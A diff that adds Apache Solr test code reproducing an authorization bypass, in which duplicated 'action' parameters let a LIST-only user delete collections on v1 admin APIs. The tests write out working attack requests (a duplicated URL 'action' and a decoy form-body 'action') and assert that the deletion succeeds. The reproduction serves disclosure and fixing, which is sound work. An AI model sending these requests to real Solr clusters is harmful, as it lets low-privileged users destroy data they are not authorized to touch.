Add reproduction test for v1 admin authz param-duplication bypass

solr/core/src/test/org/apache/solr/security/AdminCollectionsDuplicateParamBypassIntegrationTest.java

@@ -0,0 +1,219 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.solr.security;
+
+import java.nio.charset.StandardCharsets;
+import java.util.Base64;
+import java.util.List;
+import java.util.Map;
+
+import org.apache.http.HttpResponse;
+import org.apache.http.client.HttpClient;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.client.methods.HttpPost;
+import org.apache.http.client.methods.HttpRequestBase;
+import org.apache.http.entity.ContentType;
+import org.apache.http.entity.StringEntity;
+import org.apache.http.message.BasicHeader;
+import org.apache.http.util.EntityUtils;
+import org.apache.solr.client.solrj.SolrRequest;
+import org.apache.solr.client.solrj.SolrResponse;
+import org.apache.solr.client.solrj.impl.CloudSolrClient;
+import org.apache.solr.client.solrj.impl.HttpClientUtil;
+import org.apache.solr.client.solrj.request.CollectionAdminRequest;
+import org.apache.solr.cloud.SolrCloudTestCase;
+import org.apache.solr.common.cloud.ZkStateReader;
+import org.apache.solr.common.util.Utils;
+import org.apache.solr.util.LogLevel;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+import static org.apache.solr.security.Sha256AuthenticationProvider.getSaltedHashedValue;
+
+/**
+ * End-to-end SolrCloud test proving the duplicate-parameter authorization bypass for v1 collection
+ * admin APIs.
+ *
+ * <p>Custom permission {@code params} matching uses any-value semantics (a permission applies if
+ * <em>any</em> submitted value of a param matches the rule), while {@link
+ * org.apache.solr.handler.admin.CollectionsHandler} executes using {@code params.get(...)} (the
+ * <em>first</em> value). By supplying {@code action}/{@code name} more than once -- once with the
+ * dangerous values and once with the authorized decoy values -- a user restricted by a custom
+ * permission to a single harmless operation can make that permission govern the request (granting
+ * access) while the handler executes the dangerous operation.
+ *
+ * <p>Unlike distributed search (which re-authorizes each shard sub-request), collection admin
+ * performs a single authorization decision and then executes via the Overseer with no second gate,
+ * so the bypass results in the unauthorized operation actually running. This test demonstrates the
+ * bypass by having a "reload only" user delete a collection they are not authorized to touch.
+ */
+@LogLevel("org.apache.solr.security=DEBUG")
+public class AdminCollectionsDuplicateParamBypassIntegrationTest extends SolrCloudTestCase {
+
+  private static final String ADMIN = "admin";
+  private static final String ADMIN_PASS = "adminPass";
+  private static final String ALICE = "alice"; // may only run the harmless LIST action
+  private static final String ALICE_PASS = "alicePass";
+
+  private static final String VICTIM_FORMBODY = "victimFormBody";
+  private static final String VICTIM_URLDUP = "victimUrlDup";
+
+  @BeforeClass
+  public static void setupCluster() throws Exception {
+    // alice's role may ONLY run the read-only LIST collection-admin action. collection:null marks
+    // this as a collection-admin permission (the bucket consulted for ADMIN requests). A HashMap is
+    // used because Map.of cannot hold a null value.
+    //
+    // The permission constrains only 'action'. This matters: 'action' is selected by the handler
+    // via params.get(...) (first value), so duplicating it drives the bypass cleanly. The original
+    // hypothesis also duplicated 'name', but the DELETE path consumes 'name' as the full multi-value
+    // array, so a duplicated 'name' becomes a String[] and the delete errors out (a target collection
+    // named "[Ljava.lang.String;@..." is not found) -- accidentally thwarting that exact variant.
+    Map<String, Object> listPerm = new java.util.HashMap<>();
+    listPerm.put("name", "list_only");
+    listPerm.put("collection", null);
+    listPerm.put("path", "/admin/collections");
+    listPerm.put("params", Map.of("action", "LIST"));
+    listPerm.put("role", "list_role");
+
+    final String securityJson =
+        Utils.toJSONString(
+            Map.of(
+                "authentication",
+                Map.of(
+                    "class", "solr.BasicAuthPlugin",
+                    "blockUnknown", true,
+                    "credentials",
+                        Map.of(
+                            ADMIN, getSaltedHashedValue(ADMIN_PASS),
+                            ALICE, getSaltedHashedValue(ALICE_PASS))),
+                "authorization",
+                Map.of(
+                    "class", "solr.RuleBasedAuthorizationPlugin",
+                    "user-role",
+                        Map.of(
+                            ADMIN, List.of("admin_role"),
+                            ALICE, List.of("list_role")),
+                    "permissions",
+                        List.of(
+                            listPerm,
+                            // everything else is admin-only
+                            Map.of("name", "all", "role", "admin_role")))));
+
+    configureCluster(2)
+        .addConfig("conf", configset("cloud-minimal"))
+        .withSecurityJson(securityJson)
+        .configure();
+
+    CloudSolrClient client = cluster.getSolrClient();
+    for (String c : List.of(VICTIM_FORMBODY, VICTIM_URLDUP)) {
+      withAdmin(CollectionAdminRequest.createCollection(c, "conf", 1, 1)).process(client);
+      cluster.waitForActiveCollection(c, 1, 1);
+    }
+  }
+
+  private static <T extends SolrRequest<? extends SolrResponse>> T withAdmin(T req) {
+    req.setBasicAuthCredentials(ADMIN, ADMIN_PASS);
+    return req;
+  }
+
+  private static String anyBaseUrl() {
+    return cluster.getJettySolrRunner(0).getBaseUrl().toString();
+  }
+
+  /** Executes a raw admin request as the given user; returns [status, body]. */
+  private static String[] adminRequest(HttpRequestBase req, String body, String user, String pass)
+      throws Exception {
+    HttpClient cl = HttpClientUtil.createClient(null);
+    try {
+      req.setHeader(new BasicHeader("Authorization",
+          "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8))));
+      if (body != null && req instanceof HttpPost) {
+        ((HttpPost) req).setEntity(
+            new StringEntity(body, ContentType.create("application/x-www-form-urlencoded", StandardCharsets.UTF_8)));
+      }
+      HttpResponse resp = cl.execute(req);
+      int status = resp.getStatusLine().getStatusCode();
+      String respBody = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8);
+      return new String[] {String.valueOf(status), respBody};
+    } finally {
+      HttpClientUtil.close(cl);
+    }
+  }
+
+  // Checked via ZooKeeper cluster state (no authorization involved) so the existence check itself
+  // is not affected by the restrictive 'list_only' permission used in this test.
+  private static boolean collectionExists(String name) throws Exception {
+    ZkStateReader zr = cluster.getSolrClient().getZkStateReader();
+    zr.forceUpdateCollection(name);
+    return zr.getClusterState().hasCollection(name);
+  }
+
+  @Test
+  public void testDuplicateActionBypassExecutesUnauthorizedDelete() throws Exception {
+    final String base = anyBaseUrl();
+    final String adminColl = "/admin/collections";
+
+    // Control 1: alice's legitimate, narrowly-permitted operation works (LIST).
+    String[] list = adminRequest(
+        new HttpGet(base + adminColl + "?action=LIST&wt=json"), null, ALICE, ALICE_PASS);
+    assertEquals("alice should be allowed to LIST; body=" + list[1], "200", list[0]);
+
+    // Control 2: alice's plain DELETE of a collection she is not authorized for is FORBIDDEN, and
+    // the collection survives.
+    String[] plainDelete = adminRequest(
+        new HttpGet(base + adminColl + "?action=DELETE&name=" + VICTIM_FORMBODY), null, ALICE, ALICE_PASS);
+    assertEquals("plain DELETE by alice must be forbidden; body=" + plainDelete[1], "403", plainDelete[0]);
+    assertTrue("victim must still exist after a forbidden delete", collectionExists(VICTIM_FORMBODY));
+
+    // Attack A (URL vs form body): dangerous action in the URL, authorized decoy action in the body.
+    // 'name' is single-valued (only in the URL) so the delete targets a real collection.
+    //   POST /admin/collections?action=DELETE&name=victimFormBody
+    //   body: action=LIST
+    HttpPost formAttack = new HttpPost(base + adminColl + "?action=DELETE&name=" + VICTIM_FORMBODY);
+    String[] attackA = adminRequest(formAttack, "action=LIST", ALICE, ALICE_PASS);
+    assertEquals(
+        "BYPASS: request was authorized via decoy body action; body=" + attackA[1], "200", attackA[0]);
+    waitUntilGone(VICTIM_FORMBODY);
+    assertFalse(
+        "BYPASS CONFIRMED: alice (LIST-only) deleted an unauthorized collection via a decoy body "
+            + "'action' param",
+        collectionExists(VICTIM_FORMBODY));
+
+    // Attack B (pure URL duplication, no body): works on any method, here GET.
+    //   GET /admin/collections?action=DELETE&action=LIST&name=victimUrlDup
+    String[] attackB = adminRequest(
+        new HttpGet(base + adminColl + "?action=DELETE&action=LIST&name=" + VICTIM_URLDUP),
+        null, ALICE, ALICE_PASS);
+    assertEquals("BYPASS: request was authorized via a duplicate URL 'action' param; body=" + attackB[1],
+        "200", attackB[0]);
+    waitUntilGone(VICTIM_URLDUP);
+    assertFalse(
+        "BYPASS CONFIRMED: alice (LIST-only) deleted an unauthorized collection via a duplicate URL "
+            + "'action' param",
+        collectionExists(VICTIM_URLDUP));
+  }
+
+  private static void waitUntilGone(String name) throws Exception {
+    final long deadline = System.nanoTime() + 30_000_000_000L;
+    while (System.nanoTime() < deadline) {
+      if (!collectionExists(name)) return;
+      Thread.sleep(200);
+    }
+  }
+}

solr/core/src/test/org/apache/solr/security/BaseTestRuleBasedAuthorizationPlugin.java

@@ -29,6 +29,7 @@
 import org.apache.http.auth.BasicUserPrincipal;
 import org.apache.solr.SolrTestCaseJ4;
 import org.apache.solr.common.params.MapSolrParams;
+import org.apache.solr.common.params.MultiMapSolrParams;
 import org.apache.solr.common.params.SolrParams;
 import org.apache.solr.common.util.CommandOperation;
 import org.apache.solr.common.util.Utils;
@@ -426,6 +427,108 @@ public void testAllPermissionDeniesActionsWhenUserIsNotCorrectRole() {
         , FORBIDDEN);
   }
 
+  /**
+   * Demonstrates the parameter-duplication authorization bypass for v1 admin APIs.
+   *
+   * <p>Custom permission {@code params} matching uses <em>any-value</em> semantics
+   * ({@link Permission#load} iterates every value of {@code getParams(key)} and matches if any
+   * value satisfies the rule), while the Collections API executes using
+   * {@code params.get(key)} which returns the <em>first</em> value. By supplying a security
+   * param more than once, an attacker can make a narrow permission "govern" the request (and thus
+   * grant access) while the handler executes a different, unauthorized value.
+   */
+  @Test
+  public void testDuplicateParamAuthorizationBypass() {
+    assumeThat("Test uses an inline user-role map specific to RuleBasedAuthorizationPlugin",
+        createPlugin(), is(instanceOf(RuleBasedAuthorizationPlugin.class)));
+
+    @SuppressWarnings("unchecked")
+    Map<String, Object> dupRules = (Map<String, Object>) Utils.fromJSONString(
+        "{" +
+        "  user-role : {" +
+        "    limited : reload_only," +
+        "    super : admin_role" +
+        "  }," +
+        "  permissions : [" +
+        "    {name:reload_allowed_only, collection:null, path:'/admin/collections'," +
+        "      params:{action:RELOAD, name:allowed_collection}, role:reload_only}," +
+        "    {name:all, role:admin_role}" +
+        "  ]}");
+
+    // 1. Legitimate narrow request by the limited user: RELOAD allowed_collection -> permitted.
+    checkRules(Map.of("resource", "/admin/collections",
+        "userPrincipal", "limited",
+        "requestType", RequestType.ADMIN,
+        "httpMethod", "POST",
+        "handler", new CollectionsHandler(),
+        "params", new MapSolrParams(Map.of("action", "RELOAD", "name", "allowed_collection")))
+        , STATUS_OK, dupRules);
+
+    // 2. Baseline: a plain DELETE of a forbidden collection by the limited user -> FORBIDDEN.
+    checkRules(Map.of("resource", "/admin/collections",
+        "userPrincipal", "limited",
+        "requestType", RequestType.ADMIN,
+        "httpMethod", "POST",
+        "handler", new CollectionsHandler(),
+        "params", new MapSolrParams(Map.of("action", "DELETE", "name", "forbidden_collection")))
+        , FORBIDDEN, dupRules);
+
+    // 3. The bypass: dangerous values FIRST (what params.get returns and what the handler executes),
+    //    authorized decoy values second. e.g.
+    //      POST /admin/collections?action=DELETE&name=forbidden_collection
+    //      body: action=RELOAD&name=allowed_collection
+    Map<String, String[]> bypassMap = new HashMap<>();
+    bypassMap.put("action", new String[]{"DELETE", "RELOAD"});
+    bypassMap.put("name", new String[]{"forbidden_collection", "allowed_collection"});
+    MultiMapSolrParams bypass = new MultiMapSolrParams(bypassMap);
+
+    // The Collections API would execute the FIRST (URL) value: an unauthorized DELETE.
+    assertEquals("DELETE", bypass.get("action"));
+    assertEquals("forbidden_collection", bypass.get("name"));
+
+    // Authorization, however, sees the decoy authorized values and grants access.
+    // This assertion documents the CURRENT (vulnerable) behavior: STATUS_OK.
+    checkRules(Map.of("resource", "/admin/collections",
+        "userPrincipal", "limited",
+        "requestType", RequestType.ADMIN,
+        "httpMethod", "POST",
+        "handler", new CollectionsHandler(),
+        "params", bypass)
+        , STATUS_OK, dupRules);
+
+    // 4. Reverse ordering: authorized values first, dangerous values second. Here the handler would
+    //    execute the AUTHORIZED first value (RELOAD allowed_collection), so this is not an
+    //    escalation -- but authorization still permits it.
+    Map<String, String[]> reverseMap = new HashMap<>();
+    reverseMap.put("action", new String[]{"RELOAD", "DELETE"});
+    reverseMap.put("name", new String[]{"allowed_collection", "forbidden_collection"});
+    MultiMapSolrParams reverse = new MultiMapSolrParams(reverseMap);
+    assertEquals("RELOAD", reverse.get("action"));
+    assertEquals("allowed_collection", reverse.get("name"));
+    checkRules(Map.of("resource", "/admin/collections",
+        "userPrincipal", "limited",
+        "requestType", RequestType.ADMIN,
+        "httpMethod", "POST",
+        "handler", new CollectionsHandler(),
+        "params", reverse)
+        , STATUS_OK, dupRules);
+
+    // 5. Duplicate the action only, but NOT the name. The permission constrains BOTH action and
+    //    name, so the attacker must supply a matching decoy for every constrained param. Here the
+    //    name does not match the rule, so the narrow permission does not apply, the request falls
+    //    through to the 'all' permission and is correctly FORBIDDEN for the limited user.
+    Map<String, String[]> actionOnlyMap = new HashMap<>();
+    actionOnlyMap.put("action", new String[]{"DELETE", "RELOAD"});
+    actionOnlyMap.put("name", new String[]{"forbidden_collection"});
+    checkRules(Map.of("resource", "/admin/collections",
+        "userPrincipal", "limited",
+        "requestType", RequestType.ADMIN,
+        "httpMethod", "POST",
+        "handler", new CollectionsHandler(),
+        "params", new MultiMapSolrParams(actionOnlyMap))
+        , FORBIDDEN, dupRules);
+  }
+
   @Test
   public void testShortNameResolvesPermissions() {
     assumeThat("ExternalRBAPlugin doesn't use short name",